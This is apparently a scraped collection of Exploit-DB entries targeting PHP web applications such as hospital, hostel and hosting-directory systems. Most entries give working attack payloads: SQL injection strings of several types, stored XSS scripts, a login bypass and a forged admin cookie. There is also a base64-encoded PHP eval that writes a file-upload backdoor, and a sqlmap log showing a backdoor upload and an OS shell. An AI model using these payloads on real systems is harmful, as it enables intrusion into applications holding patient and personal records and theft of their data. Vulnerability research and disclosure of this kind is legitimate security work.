deardaniel/secdata-raw huggingface dataset:
Exploit-DB #51945
Description: Hospital Management System v1.0 - Stored Cross Site Scripting (XSS)
Type: webapps
Platform: php
Date: 2024-04-02
Author: Sandeep Vishwakarma

Exploit:
# Exploit Title: Hospital Management System v1.0 - Stored Cross Site Scripting (XSS)
# Google Dork: NA
# Date: 28-03-2024
# Exploit Author: Sandeep Vishwakarma
# Vendor Homepage: https://code-projects.org
# Software Link: https://code-projects.org/hospital-management-system-in-php-css-javascript-and-mysql-free-download/
# Version: v1.0
# Tested on: Windows 10
# CVE : CVE-2024-29412
# Description: Stored Cross Site Scripting vulnerability in
Hospital Management System - v1.0 allows an attacker to execute arbitrary
code via a crafted payload to the 'patient_id',
'first_name','middle_initial' ,'last_name'" in /receptionist.php component.

# POC:
1. Go to the User Login page: "
http://localhost/HospitalManagementSystem-gh-pages/
2. Login with "r1" ID which is redirected to "
http://localhost/HospitalManagementSystem-gh-pages/receptionist.php"
endpoint.
3. In Patient information functionality add this payload
"><script>alert('1')</script> ,in all parameter.
4. click on submit.

# Reference:
https://github.com/hackersroot/CVE-PoC/blob/main/CVE-2024-29412.md
Exploit-DB #47398
Description: Hospital-Management 1.26 - 'fname' SQL Injection
Type: webapps
Platform: php
Date: 2019-09-18
Author: cakes

Exploit:
# Exploit Title: Hospital-Management 1.26 - 'fname' SQL Injection
# Author: Cakes
# Discovery Date: 2019-09-18
# Vendor Homepage: https://github.com/Mugerwa-Joseph/hospital-management
# Software Link: https://github.com/Mugerwa-Joseph/hospital-management/archive/master.zip
# Tested Version: 1.26
# Tested on OS: CentOS 7
# CVE: N/A

# Discription:
# Simple SQL injection after application authentication. 

# Type: boolean-based blind
# Title: AND boolean-based blind - WHERE or HAVING clause
# Payload: 

fname=tester'||(SELECT 0x72516679 FROM DUAL WHERE 9119=9119 AND 1379=1379)||'&sname=tester&email=test@tester.com&phone=[PII_REDACTED]&address=123 happy lane&gender=Male&bloodgroup=B&birthyear=2002&btn=Add

# Type: error-based
# Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
# Payload: 

fname=tester'||(SELECT 0x53495778 FROM DUAL WHERE 5761=5761 AND (SELECT 9648 FROM(SELECT COUNT(*),CONCAT(0x71787a7a71,(SELECT (ELT(9648=9648,1))),0x716b786b71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a))||'&sname=tester&email=test@tester.com&phone=[PII_REDACTED]&address=123 happy lane&gender=Male&bloodgroup=B&birthyear=2002&btn=Add

# Type: time-based blind
# Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
# Payload: 

fname=tester'||(SELECT 0x5144494b FROM DUAL WHERE 1043=1043 AND (SELECT 1880 FROM (SELECT(SLEEP(5)))AmmF))||'&sname=tester&email=test@tester.com&phone=[PII_REDACTED]&address=123 happy lane&gender=Male&bloodgroup=B&birthyear=2002&btn=Add
Exploit-DB #50658
Description: Hospitals Patient Records Management System 1.0 - 'doctors' Stored Cross Site Scripting (XSS)
Type: webapps
Platform: php
Date: 2022-01-13
Author: Sant268

Exploit:
# Exploit Title: Hospitals Patient Records Management System 1.0 - 'doctors' Stored Cross Site Scripting (XSS)
# Exploit Author: (Sant268)
# Vendor Homepage: https://www.sourcecodester.com/
# Software Link: https://www.sourcecodester.com/php/15116/hospitals-patient-records-management-system-php-free-source-code.html
# Version: HPRMS 1.0
# Tested on: Ubuntu 20, Apache

- Description:
A Stored XSS issue in HPRMS v.1.0 allows remote attackers to inject JavaScript via /articles in the description parameter.

- Payload used:
<img src =q onerror=prompt(8)>

- Steps to reproduce:
1- Go to http://victim.com/admin/?page=doctors
2- Add a Doctor, paste the payload in specialization
3- Alert will pop whenever the page is accessed.
Exploit-DB #50630
Description: Hospitals Patient Records Management System 1.0 - 'id' SQL Injection (Authenticated)
Type: webapps
Platform: php
Date: 2022-01-05
Author: twseptian

Exploit:
# Exploit Title: Hospitalss Patient Records Management System 1.0 - 'id' SQL Injection (Authenticated)
# Date: 30/12/2021
# Exploit Author: twseptian
# Vendor Homepage: https://www.sourcecodester.com/php/15116/hospitals-patient-records-management-system-php-free-source-code.html
# Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/hprms_0.zip
# Version: v1.0
# Tested on: Kali Linux 2021.4

*SQL Injection*
SQL injection is a web security vulnerability that allows an attacker to interfere with the queries that an application makes to its database. Hospital's Patient Records Management System v1.0 is vulnerable to SQL injection via the 'id' parameter on the patient list.

*Attack Vector*
An attacker can compromise the database of the application using some automated(or manual) tools like SQLmap.

*Steps to reproduce:*
Step-1: On the dashboard navigate to 'Patient List', then go to 'Action' > 'View Records' page using the following URL:
http://localhost/hprms/admin/?page=patients/view_patient&id=1

Step-2: Put the SQL Injection payloads in 'id' field.
time-based blind payload : page=patients/view_patient&id=1' AND (SELECT 2664 FROM (SELECT(SLEEP(5)))ixec) AND 'XcAY'='XcAY

Step-3: Now, the Server target accepted our payload and the response got delayed by 5 seconds.
Exploit-DB #50657
Description: Hospitals Patient Records Management System 1.0 - 'room_list' Stored Cross Site Scripting (XSS)
Type: webapps
Platform: php
Date: 2022-01-13
Author: Sant268

Exploit:
# Exploit Title: Hospitals Patient Records Management System 1.0 - 'room_list' Stored Cross Site Scripting (XSS)
# Exploit Author: (Sant268)
# Vendor Homepage: https://www.sourcecodester.com/
# Software Link: https://www.sourcecodester.com/php/15116/hospitals-patient-records-management-system-php-free-source-code.html
# Version: HPRMS 1.0
# Tested on: Ubuntu 20, Apache

- Description:
A XSS issue in HPRMS v.1.0 allows remote attackers to inject JavaScript via /articles in the description parameter.

- Payload used:
<img src =q onerror=prompt(8)>

- Steps to reproduce:
1- Go to http://victim.com/admin/?page=room_list
2- Add Room type, paste the payload in description
3- Alert will pop whenever the page is accessed.
Exploit-DB #50656
Description: Hospitals Patient Records Management System 1.0 - 'room_types' Stored Cross Site Scripting (XSS)
Type: webapps
Platform: php
Date: 2022-01-13
Author: Sant268

Exploit:
# Exploit Title: Hospitals Patient Records Management System 1.0 - 'room_types' Stored Cross Site Scripting (XSS)
# Exploit Author: (Sant268)
# Vendor Homepage: https://www.sourcecodester.com/
# Software Link: https://www.sourcecodester.com/php/15116/hospitals-patient-records-management-system-php-free-source-code.html
# Version: HPRMS 1.0
# Tested on: Ubuntu 20, Apache

- Description:
A XSS issue in HPRMS v.1.0 allows remote attackers to inject JavaScript via /articles in the description parameter.

- Payload used:
<img src =q onerror=prompt(8)>

- Steps to reproduce:
1- Go to http://victim.com/admin/?page=room_types
2- Add Room type, paste the payload in description
3- Alert will pop whenever the page is accessed.
Exploit-DB #31676
Description: Host Directory PRO - Cookie Security Bypass
Type: webapps
Platform: php
Date: 2008-04-20
Author: Crackers_Child

Exploit:
source: https://www.securityfocus.com/bid/28863/info

Host Directory PRO is prone to a security-bypass vulnerability because it fails to properly validate user credentials before performing certain actions.

Exploiting this issue may allow an attacker to bypass certain security restrictions and gain administrative access to the application. This will compromise the application and may aid in further attacks.

javascript:document.cookie = "adm=1 path=/;";
Exploit-DB #8877
Description: Host Directory PRO 2.1.0 - Remote Database Backup
Type: webapps
Platform: php
Date: 2009-06-04
Author: ZoRLu

Exploit:
[~] Host Directory Pro Bypass & Backup DB Disc. Multiple Vulns.
[~]
[~]----------------------------------------------------------
[~] Discovered By: ZoRLu  msn: trt-turk@hotmail.com
[~]
[~] Date: 28/03/09
[~]
[~] Home: yildirimordulari.com / z0rlu.blogspot.com / www.experl.com / woltaj.org
[~]
[~] N0T: Herkes Hecker Olmus :S
[~]
[~] N0T: New Target Buffer Overflow : ) there is a little time xD
[~]
[~] N0T: Unutulduk mu ?
[~] -----------------------------------------------------------

script:

http://www.phphostdirectoryscript.com/

Bypass for demo:

username: demo ' or '

pass: ZoRLu or dont write anything

http://demo-host-directory-pro.phphostdirectoryscript.com/

Backup DB Disc. for demo:

http://demo-host-directory-pro.phphostdirectoryscript.com/admin/backup/db

[~]----------------------------------------------------------------------
[~] Greetz tO: Cyber-Zone & Dr.Ly0N & w0cker
[~]
[~] yildirimordulari.com / z0rlu.blogspot.com / www.experl.com / woltaj.org
[~]
[~]----------------------------------------------------------------------

# milw0rm.com [2009-06-04]
Exploit-DB #23020
Description: HostAdmin - Full Path Disclosure
Type: webapps
Platform: php
Date: 2003-08-12
Author: G00db0y

Exploit:
source: https://www.securityfocus.com/bid/8401/info

HostAdmin is prone to a path disclosure vulnerability. Passing invalid data to the HostAdmin site will cause an error message to be displayed, which contains installation path information.

http://www.example.com/pathofhostadmin/?page='
Exploit-DB #38628
Description: HostBill - 'cpupdate.php' Authentication Bypass
Type: webapps
Platform: php
Date: 2013-05-29
Author: localhost.re

Exploit:
source: https://www.securityfocus.com/bid/60958/info

HostBill is prone to an authentication-bypass vulnerability.

Attackers can exploit this issue to gain unauthorized access to the affected application and disclose sensitive information.

HostBill 4.6.0 is vulnerable; other versions may also be affected. 

www.example.com/includes/cpupdate.php?do=backup&filename=../templates_c/DB_Dump.txt&login_username=0&password=0
Exploit-DB #18428
Description: HostBill App 2.3 - Remote Code Injection
Type: webapps
Platform: php
Date: 2012-01-30
Author: Dr.DaShEr

Exploit:
=-=-=-=-=-=-=-=-=-=-=-=-=-=-{In The Name Of Allah, The Most Beneficent, The Most Merciful}-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
[~] Tybe: suffering from RemotE injection php code
[~] Vendor:hostbillapp.com
[+] Software:HostBill
[+] Version : v2.3
[~] 
[+] author:Dr.DaShE
[~] TEAM: Team 403
[?] 
[-] contact: Dasher403[at]gmail.com
[?] Date: 2g.J4N.2oll 
[?] 
[?] T!ME: 04:46 AM ara-blackhat
[^] 
[?]
=============================================================================== 
# HostBill script suffering from RemotE injection php code exploit
=============================================================================== 


[!] Exploit Already Tested ... on apache linux server

Dork: Powered by HostBill

[^] Error console:-

http://localhost/billing/index.php?/tickets/new/
 
[?] poC <X> exploit:- 
 
http://localhost/billing/index.php?/tickets/new/

inject your evil php code exploit in subject field

encrypt by base64 encoder
ex:

{php}eval(base64_decode('JGNvZGUgPSBiYXNlNjRfZGVjb2RlKCJQRDl3YUhBTkNtVmphRzhnSnp4bWIzSnRJR0ZqZEdsdmJq
MGlJaUJ0WlhSb2IyUTlJbkJ2YzNRaUlHVnVZM1I1Y0dVOUltMTFiSFJwY0dGeWRDOW1iM0p0TFdS
aGRHRWlJRzVoYldVOUluVndiRzloWkdWeUlpQnBaRDBpZFhCc2IyRmtaWElpUGljN0RRcGxZMmh2
SUNjOGFXNXdkWFFnZEhsd1pUMGlabWxzWlNJZ2JtRnRaVDBpWm1sc1pTSWdjMmw2WlQwaU5UQWlQ
anhwYm5CMWRDQnVZVzFsUFNKZmRYQnNJaUIwZVhCbFBTSnpkV0p0YVhRaUlHbGtQU0pmZFhCc0lp
QjJZV3gxWlQwaVZYQnNiMkZrSWo0OEwyWnZjbTArSnpzTkNtbG1LQ0FrWDFCUFUxUmJKMTkxY0d3
blhTQTlQU0FpVlhCc2IyRmtJaUFwSUhzTkNnbHBaaWhBWTI5d2VTZ2tYMFpKVEVWVFd5ZG1hV3hs
SjExYkozUnRjRjl1WVcxbEoxMHNJQ1JmUmtsTVJWTmJKMlpwYkdVblhWc25ibUZ0WlNkZEtTa2dl
eUJsWTJodklDYzhZajVWY0d4dllXUWdVMVZMVTBWVElDRWhJVHd2WWo0OFluSStQR0p5UGljN0lI
ME5DZ2xsYkhObElIc2daV05vYnlBblBHSStWWEJzYjJGa0lFZEJSMEZNSUNFaElUd3ZZajQ4WW5J
K1BHSnlQaWM3SUgwTkNuME5DajgrIik7CiRmbyA9IGZvcGVuKCJEYXNoZXIucGhwIiwidyIpOwpm
d3JpdGUoJGZvLCRjb2RlKTs='));{/php}

http://localhost/Dasher.php



 
 
[~]-----------------------------{(Team 403)}------------------------------------------------
# 
[~] Greetz tO:Nex & WeeD & R3d D3v!L & HITLR & Red virus & Dr.Dmar & MaFiA & Mr.NsaaNy & ...etc ;
# 
[~]70 ALL ARAB!AN HACKER 3X3PT : LAM3RZ # ; 
# 
[?] special SupPoRT : ABH-Sec.Com & packet storm & 1337day & Maksymilian Arciemowicz # ;
# 
[~]spechial FR!ND: they all are spechials ;) #; 
# 
[~] !'M 4R48!4N 3XPL0!73R. #; 
# 
[~](>D!R 4ll 0R D!E<) #; 
# 
[~]---------------------------------------------------------------------------------------------
Exploit-DB #5476
Description: HostDirectory Pro - Insecure Cookie Handling
Type: webapps
Platform: php
Date: 2008-04-20
Author: Crackers_Child

Exploit:
$ Script.......: HostDirectory Pro

$ Download.....: http://www.mediafire.com/?71nvkj199n7  (null) Real Price :Price (single license) : $79.95 USD

$ Author.......: Crackers_Child  | cashr00t@hotmail.com

$ Class........: Insecure Cookie Handling

$ Demo.........: http://scriptsfrenzy.com/demo_host_directory_pro/

$ Exploit......: javascript:document.cookie = "adm=1 path=/;";

$ AdminPath....: www.site.com/script_path/admin/

$ Greetz ......: Str0ke ; All Peace Warriors

$Note .........: Erbabi ile vurulduysak sirtimizdan neyleyelim.Bir Yarali Kurt Misali

$Note .........: Her Yanimiz it Tuzagi . . 

# milw0rm.com [2008-04-20]
Exploit-DB #47854
Description: Hostel Management System 2.0 - 'id' SQL Injection
Type: webapps
Platform: php
Date: 2020-01-06
Author: FULLSHADE

Exploit:
# Exploit Title: Hostel Management System 2.0 - 'id' SQL Injection
# Google Dork: intitle: "Hostel management system"
# Date: 2020-01-03
# Exploit Author: FULLSHADE
# Vendor Homepage: https://phpgurukul.com
# Software Link: https://phpgurukul.com/hostel-management-system/
# Version: v2.0
# Tested on: Windows
# CVE : N/A

Description:

The Hostel Management System v2.0 application from PHPgurukul is vulnerable to
SQL injection via the 'id' parameter on the full-profile.php page.

==================== 1. SQLi ====================

http://10.0.0.214/Hostel%20management%20System%20Project/hostel/full-profile.php?id=1

THe ?id parameter is vulnerable to SQL injection, it was also tested, and a un-authenticated
user has the full ability to run system commands via --os-shell and fully compromise the system

GET parameter 'id' is vulnerable.

---
Parameter: id (GET)
    Type: boolean-based blind
    Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment)
    Payload: id=-3444' OR 1650=1650#

    Type: error-based
    Title: MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: id=1' OR (SELECT 3801 FROM(SELECT COUNT(*),CONCAT(0x7176627a71,(SELECT (ELT(3801=3801,1))),0x71707a7071,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- klCZ

    Type: time-based blind
    Title: MySQL >= 5.0.12 OR time-based blind
    Payload: id=1' OR SLEEP(5)-- slKU

    Type: UNION query
    Title: MySQL UNION query (NULL) - 29 columns
    Payload: id=1' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x7176627a71,0x63786c795a[PII_REDACTED][PII_REDACTED]7a4e6443636e705076586e714d735a7053595a4b676b526157,0x71707a7071),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#

[14:20:08] [INFO] the file stager has been successfully uploaded on 'C:/xampp/htdocs/' - http://10.0.0.214:80/tmpulczr.php
[14:20:08] [INFO] the backdoor has been successfully uploaded on 'C:/xampp/htdocs/' - http://10.0.0.214:80/tmpbjdvm.php
[14:20:08] [INFO] calling OS shell. To quit type 'x' or 'q' and press ENTER
os-shell> whoami
do you want to retrieve the command standard output? [Y/n/a] y
command standard output: 'john-pc\john'
os-shell>
Exploit-DB #48542
Description: Hostel Management System 2.0 - 'id' SQL Injection (Unauthenticated)
Type: webapps
Platform: php
Date: 2020-06-04
Author: Enesdex

Exploit:
# Exploit Title: Hostel Management System 2.0 - 'id' SQL Injection (Unauthenticated)
# Date: 2020-06-02
# Exploit Author: Selim Enes 'Enesdex' Karaduman
# Vendor Homepage: https://phpgurukul.com/hostel-management-system/
# Software Link: https://phpgurukul.com/?smd_process_download=1&download_id=7210
# Version: 2.0
# Tested on: Windows 10 - Wamp Server

--Vulnerable file /full-profile.php

--Vulnerable code;
    $ret= mysqli_query($con,"SELECT * FROM registration where emailid = '".$_GET['id']."'");

    Id parameter's value is going into sql query directly!

--Proof Of Concept 
   
   sqlmap -u "http://TARGET/hostel/full-profile.php?id=6" 
   OR
   http://TARGET/hostel/full-profile.php?id=6' Single Quote will cause SQL error
Exploit-DB #48905
Description: Hostel Management System 2.1 - Cross Site Scripting (Multiple Fields)
Type: webapps
Platform: php
Date: 2020-10-19
Author: Kokn3t

Exploit:
# Exploit Title: PHPGurukul hostel-management-system 2.1 allows XSS via
Guardian Name, Guardian Relation, Guardian Contact no, Address, City
# Google Dork: N/A
# Date: 2020-10-08
# Exploit Author: Kokn3t
# Vendor Homepage: https://phpgurukul.com
# Software Link: https://phpgurukul.com/hostel-management-system
# Version:  V 2.1
# Tested on: Windows 10, Kali 2020.1
# CVE : CVE-2020-25270

######## Attack Vector ########

Install Hostel Management System V 2.1

1) User Module

    Login as user and go to "Book Hostel"
(http:/localhost/hostel/book-hostel.php) and start booking.

    Add malicious script in these fields - "<script>alert('XSS');</script>"

    i. Guardian Name

    ii. Guardian Relation

    iii.Guardian Contact no

    iv. Address

    vi. City

    After that will get a prompt "Student Successfully register" and after
pressing "See All", XSS will be triggered.

2) Admin Module

Login in as Admin and go to "Management Students", and "View Full details"
of booked student's record, XSS will be triggered also.
Exploit-DB #50628
Description: Hostel Management System 2.1 - Cross Site Scripting (XSS)
Type: webapps
Platform: php
Date: 2022-01-05
Author: Chinmay Divekar

Exploit:
# Exploit Title: Hostel Management System 2.1 - Cross Site Scripting (XSS)
# Date: 26/12/2021
# Exploit Author: Chinmay Vishwas Divekar
# Vendor Homepage: https://phpgurukul.com/hostel-management-system/
# Software Link: https://phpgurukul.com/hostel-management-system/
# Version: V 2.1
# Tested on: PopOS_20.10

*Steps to reproduce*

1) Open book-hostel page using following url https://localhost/hostel/book-hostel.php
2) Enter xss payload  <img src=x onerror=alert(String.fromCharCode(88,83,83));> on various input fields.
3) Server Accepted our Payload in input fileds.

Affected input fields: Correspondence Address, Guardian Relation, Permanent Address
Exploit-DB #11968
Description: Hosting-PHP-dynamic - Authentication Bypass
Type: webapps
Platform: php
Date: 2010-03-30
Author: indoushka

Exploit:
========================================================================================                  
| # Title    : Hosting-php-dynamic (Auth Bypass) Vulnerability      
| # Author   : indoushka                                                               
| # email    : indoushka@hotmail.com                                                   
| # Home     : www.iqs3cur1ty.com                                                                              
| # Web Site : 
| # Dork     : Copyright 2010 My Hosting. All rights reserved 
| # Tested on: windows SP2 Français V.(Pnx2 2.0) + Lunix Français v.(9.4 Ubuntu)       
| # Bug      : (Auth Bypass)                                                                   
======================      Exploit By indoushka       =================================
 # Exploit  : 
 
 1 - http://127.0.0.1/Hosting-php-dynamic/admin/nav.php (Admin Panel)
 
 2 - http://127.0.0.1/Hosting-php-dynamic/admin/setup/index.php (Admin information)

Dz-Ghost Team ===== Saoucha * Star08 * Redda * Silitoad * XproratiX * onurozkan * n2n * ========================
Greetz : 
Exploit-db Team : 
(loneferret+Exploits+dookie2000ca)
all my friend :
His0k4 * Hussin-X * Rafik (www.Tinjah.com) * Yashar (www.sc0rpion.ir) SoldierOfAllah (www.m4r0c-s3curity.cc)
Stake (www.v4-team.com) * r1z (www.sec-r1z.com) * D4NB4R http://www.ilegalintrusion.net/foro/
www.securityreason.com * www.sa-hacker.com * Cyb3r IntRue (avengers team) * www.alkrsan.net * www.mormoroth.net
---------------------------------------------------------------------------------------------------------------
Exploit-DB #29047
Description: Hot Links - Perl PHP Information Disclosure
Type: webapps
Platform: php
Date: 2006-11-15
Author: hack2prison

Exploit:
source: https://www.securityfocus.com/bid/21112/info

Hot Links is prone to an information-disclosure vulnerability because it fails to authenticate the user during specific download requests.

An attacker can exploit this issue to retrieve administrative backup files. Information obtained may aid in further attacks.

All versions of Hot Links SQL-PHP and Hot Links Pro are vulnerable; other forks may also be affected.

http://www.example.com/[path]/dlback.php?dl=fullback
Exploit-DB #32355
Description: Hot Links SQL-PHP - 'news.php' SQL Injection
Type: webapps
Platform: php
Date: 2008-09-10
Author: r45c4l

Exploit:
source: https://www.securityfocus.com/bid/31118/info

Hot Links SQL-PHP is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Hot Links SQL-PHP 3 and prior versions are vulnerable. 

http://www.example.com/news.php?id=-1+union+all+select+1,concat(version(),0x3a,database(),0x3a,user()),null,null--
Exploit-DB #31893
Description: Hot Links SQL-PHP - Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2008-06-10
Author: sl4xUz

Exploit:
source: https://www.securityfocus.com/bid/29632/info

Hot Links SQL-PHP is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. 

http://www.example.com/path/search.php?search=[XSS] http://www.example.com/path/search.php?search='><script>alert(document.cookie);</script> http://www.example.com/path/report.php?id=[XSS] http://www.example.com/path/report.php?id='><script>alert(document.cookie);</script> http://www.example.com/path/reviews.php?action=review&id==[XSS] http://www.example.com/path/reviews.php?action=review&id='><script>alert(document.cookie);</script> http://www.example.com/path/reviews.php?action=rate&id=[XSS] http://www.example.com/path/reviews.php?action=rate&id='><script>alert(document.cookie);</script>